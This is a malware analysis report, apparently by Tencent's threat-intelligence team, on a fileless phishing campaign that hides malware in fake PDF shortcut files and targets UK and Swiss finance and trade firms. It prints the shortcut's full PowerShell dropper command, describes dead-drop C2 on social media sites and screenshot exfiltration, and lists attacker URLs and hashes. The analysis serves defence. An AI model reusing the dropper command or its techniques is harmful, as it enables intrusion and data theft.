使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动

栏目: 编程工具 · 发布时间: 5年前

内容简介:近日,腾讯御见威胁情报中心在日常的恶意文件运营中,发现了几个可疑的钓鱼lnk(伪装成快捷方式文件的攻击程序)。经过分析发现,这些lnk构造巧妙,全程无PE文件落地(Fileless攻击),并且把解密key和C2存放在了twitter、youtube等社交站点上。从关联到的样本来看,攻击针对英国、瑞士等欧洲国家,攻击目标为外贸、金融相关企业。暂时还不详具体的攻击者背景,望安全社区同仁一起来完善攻击的拼图。该APT组织攻击手法的一些特点:

一、 概述

近日,腾讯御见威胁情报中心在日常的恶意文件运营中,发现了几个可疑的钓鱼lnk(伪装成快捷方式文件的攻击程序)。经过分析发现,这些lnk构造巧妙,全程无PE文件落地(Fileless攻击),并且把解密key和C2存放在了twitter、youtube等社交站点上。

从关联到的样本来看,攻击针对英国、瑞士等欧洲国家,攻击目标为外贸、金融相关企业。暂时还不详具体的攻击者背景,望安全社区同仁一起来完善攻击的拼图。

该APT组织攻击手法的一些特点:

1.诱饵文件为压缩包中伪装成PDF文档的LNK文件(LNK默认是快捷方式,恶意程序执行后会打开一个欺骗性的PDF文件,这个组合极有欺骗性);

2.攻击过程中,全程无PE文件落地,巧妙避开安全软件的常规检测;

3.攻击程序会判断电脑是否安装网络嗅探工具(wireshark和Nmap,通常为安全研究人员用于网络抓包分析),如果有,就不执行木马核心功能;

4.通过youtube、twitter、Google、wordpress.com的公共空间更新C2,存放解密代码;

5.收集目标计算机名、杀毒软件信息、系统安全时间、系统版本等情报,定时截屏上传;

6.检测是否存在虚拟机等特殊软件。

二、技术分析

1.攻击诱饵

本次攻击的诱饵是一个zip压缩包,名字为:Dubai_Lawyers_update_2018.zip,压缩报里包含2个lnk文件:

使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动

而lnk为攻击者精心构造的恶意lnk,点击运行lnk后,会触发执行包含的恶意代码:

使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动 其中,压缩包里的两个lnk的内容类似,我们以其中一个为例进行详细分析。 

2.lnk分析

运行lnk后,执行的恶意代码如下:

Cmd.exe "/c powershell -c "$m='A_Dhabi.pdf.lnk';$t=[environment]::getenvironmentvariable('tmp');cp$m $t\$m;$z=$t+'\'+@(gci -name $t $m -rec)[0];$a=gc $z|out-string;$q=$a[($a.length-2340)..$a.length];[io.file]::WriteAllbytes($t+'\.vbe',$q);CsCrIpT$t'\.vbe'"

该命令的主要功能为:

1)将dubai.pdf.lnk文件复制到”%temp%”目录;

2)将lnk文件结尾处往回2340字节的内容,写入“%temp%\.vbe“文件中;

3)利用cscript.exe将vbe给执行起来。

写入的.vbe文件为使用Encoded加密的脚本文件:

使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动 解密后内容如下:

使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动 使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动

3.Vbe脚本分析

先将lnk文件从文件头开始,偏移为2334,大小为136848字节的内容写入“A_Dhabi.pdf”,该文件保存在temp目录,而该文件确实为一个pdf文件。接着打开该pdf文件,让受害者误以为只是简单得打开了一个正常的pdf文件而已:

使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动 打开的pdf文件如下:

使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动 接着将lnk文件中pdf文件之后的338459字节的内容,写入“%temp%\~.tmpF292.ps1”文件中,该文件为powershell脚本:

使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动 最后将接下来的读取位置写入”%temp%\~.tmpF293”文件中,并利用powershell将“~.tmpF292.ps1”文件给执行起来:

使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动 4.~.tmpF292.ps1分析

原始的ps1脚本是经过加密后的脚本:

使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动 经过解密后,发现两个特殊的明文字符串:

“Lorem Ipsum is simply dummy text of the printing and typesettingindustry. Lorem Ipsum has been the industrys standard dummy text ever since the1500s” 和“when an unknown printer took a galley of typeand scrambled it to make a type specimen book. It has    survived not only fivecenturies but also the leap into electronic typesetting remaining essentiallyunchanged.”

这两个字符串没有参与加密代码的计算,基本上没有任何意义。

而使用搜索引擎搜索该字符后发现,该字符串是为了排版测试的:

使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动 使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动

加密的代码经过解密,代码逻辑就十分清晰了:

使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动 其中, $code = @”到”@部分为powershell里调用的c#方法,后面为powershell脚本命令。

该powershell脚本的主要功能为:

1)使用WMI,检测安全软件,包括AVG、AVAST,若存在,则删除中间文件,然后退出;

使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动 2)判断是否有wireshark和Nmap,若存在,则不执行木马核心功能;

使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动 3)从~.tmpF293”文件中获取文件偏移,然后从lnk文件中读取信息,然后存入“%temp%\ ~.tmpF291”目录中,涉及到的文件名有~.tmpF222.tmp、~.tmpF295.ico、~.tmpF299.vbe;

使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动 4)继续会从lnk中读取第二阶段的payload,并利用网上获取到的key对payload进行解密并执行。若网络不通未拿到key,就将第二阶段的payload以加密状态存储在“%temp%\ ~.tmp.e”文件中;

使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动 5)如果“%temp%\ ~.tmp.e”文件存在,会利用从网络上获取的key去解密此文件,得到第二阶段的payload文件“~.tmpF294.ps1”,并执行此文件。

使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动

6)获取解密key的url,存储在tmpF222.tmp文件中:

使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动 获取到url如下:

https://youtu.be/40rHiF75z5o

https://brady4th.wordpress.com/2018/11/15/opener/

https://twitter.com/Fancy65716779

https://plus.google.com/u/0/collection/U84ZPF

然后,从这些url中获取相应的解密代码,其中:

“Yobro i sing”字符串开始的位置为stage2 payload的c2;

“My keyboard doesnt work”开始的字符串为解密key:

使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动

使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动

使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动 使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动

使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动 从文章的发表时间,我们猜测,真正的攻击开始时间发生在11月15日和11月18日。

7)持久性攻击:在startup目录创建快捷方式,快捷方式会cscript.exe将“~.tmpF291“目录 中的” ~.tmpF299.vbe“文件给执行起来,快捷方式图标为” ~.tmpF295.ico“

使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动 “~.tmpF299.vbe”解密后内容如下:

使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动

5.Stage2(~.tmpF294.ps1)分析

~.tmpF294.ps1为stage2的脚本文件,同样经过了加密,解密后可以发现与真正的c2通信等功能都在此ps脚本中。

1)使用WMI命令收集相关计算机信息,然后以json格式发送给C2:

使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动 使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动 收集的内容包括计算机名、机器名、杀软信息、系统安装时间、系统版本等。格式中还包含“ace”、“dama”、“king”、“joker”等字样。

2)检测虚拟机等特殊软件:

使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动

使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动 3)检测wireshark、winpcap、Nmap等特定软件是否安装:

使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动

使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动 4)从twitter、youtube、google、wordpress等网站更新C2:

使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动 5)定时截屏并发送:

使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动

使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动 6)执行C2下发的powershell脚本:

使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动 7)隐藏“%temp%\~.tmpF291”目录,特殊的存储路径“AA36ED3F6A22”为ip存储路径、“E4DAFF315DFA”域名存储路径、“~.tmpF297.tmp”为c2下发的序列号存储路径。

使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动

使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动 8)根据服务器指定修改定时截屏时的画面质量及频率:

使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动

使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动

三、 关联分析

1.样本拓线:

经过C2的反查,我们又查到找其余几个相同的样本:

使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动

Confirm.pdf.lnk,d83f933b2a6c307e17438749eda29f02
Gift-18.pdf.lnk,6f965640bc609f9c5b7fea181a2a83ca

而这两个lnk同样来自于一个zip压缩包:Gift-18.zip

使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动 经分析,这两个lnk跟分析的lnk为同一个攻击。而压缩包中还包含了一张图片:

使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动 释放的pdf如下:

使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动 继续关联,我们又发现了另外2个lnk:

ecamos_Volatility_Strategy_2X.pdf.lnk:540bc05130424301a8f0543e0240df1d
p2_ecamos_Volatility_Strategy_2X.pdf.lnk:38b777dfd5f153609ad6ff8cff1bdedc

运行后,pdf内容如下:

使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动

使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动 我们猜测,该次攻击对象为瑞士的金融机构和贸易公司。该lnk获取解密key的url为:

https://twitter.com/sabinepfeffer69/status/928607342177988608

https://mads281.wordpress.com

https://www.youtube.com/watch?v=ZRQ-1I856XA

跟上述分析的一致。

2.攻击中的相关元素

1)攻击的某个诱饵pdf来自于英国政府网站: https://assets.publishing.service.gov.uk/government/uploads/system/uploads/attachment_data/file/754075/Dubai_List_of_Lawyers_-_Nov_2018.pdf

使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动 2)某个诱饵pdf里的图片里的公司的信息:

使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动 该图片来自: http://i68.tinypic.com/jtntyd.jpg

3)存放解密信息的博客 https://brady4th.wordpress.com 中的第一条信息,引用了一句名人的话:

使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动 IzaakWalton为一个英国的作家:

使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动 4)youtube中的电影:

使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动 该电影为一个法国电影,被称为世界上第一部恐怖电影。

使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动 5)此外还有不少字符串信息,如dubuk7、dama、AshleyBrady、brady4th、Fancy65716779、Pansy Radon、sabinepfeffer69、mads281、The Obsidian Cloud Casino v1.0等。不过并未搜索和关联到更多的信息。

3.攻击背景

从攻击对象来看,主要是英国、瑞士的相关外贸机构和金融机构。而攻击者角度来看,作者并未留下太多可追溯的确切证据。而从使用lnk钓鱼、fileless攻击的组织来看,似乎APT29更接近,不过暂未发现任何证据指向该组织。因此我们也希望更多安全社区同仁一起合作,来完善该次攻击的拼图。

四、 安全建议

1.不要打开不明来源的邮件附件;

2.及时打系统补丁和重要软件的补丁;

3.使用杀毒软件防御可能的病毒木马攻击;

4.使用腾讯御界高级威胁检测系统。御界高级威胁检测系统,是基于腾讯反病毒实验室的安全能力、依托腾讯在云和端的海量数据,研发出的独特威胁情报和恶意检测模型系统。

使用钓鱼lnk针对英国、瑞士金融、贸易公司的定向攻击活动 五、 附录(IOCs)


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Node即学即用

Node即学即用

[英] Tom Hughes-Croucher、[英] Mike Wilson / 郑达韡 / 人民邮电出版社 / 2013-2 / 39.00元

《Node即学即用》由休斯-克劳奇、威尔逊编著,《Node即学即用》讲解如何用Node构建可扩展因特网应用,是全面的实用指南,除了详细介绍Node提供的API外,还用大量篇幅介绍了服务器事件驱动开发的重要概念。内容涉及跨服务器的并发连接、非阻塞I/O和事件驱动的编程、如何支持各种数据库和数据存储工具、NodeAPI的使用示例等。适合对JavaScript及编程有一定程度了解的读者阅读。一起来看看 《Node即学即用》 这本书的介绍吧!

图片转BASE64编码
图片转BASE64编码

在线图片转Base64编码工具

Base64 编码/解码
Base64 编码/解码

Base64 编码/解码

html转js在线工具
html转js在线工具

html转js在线工具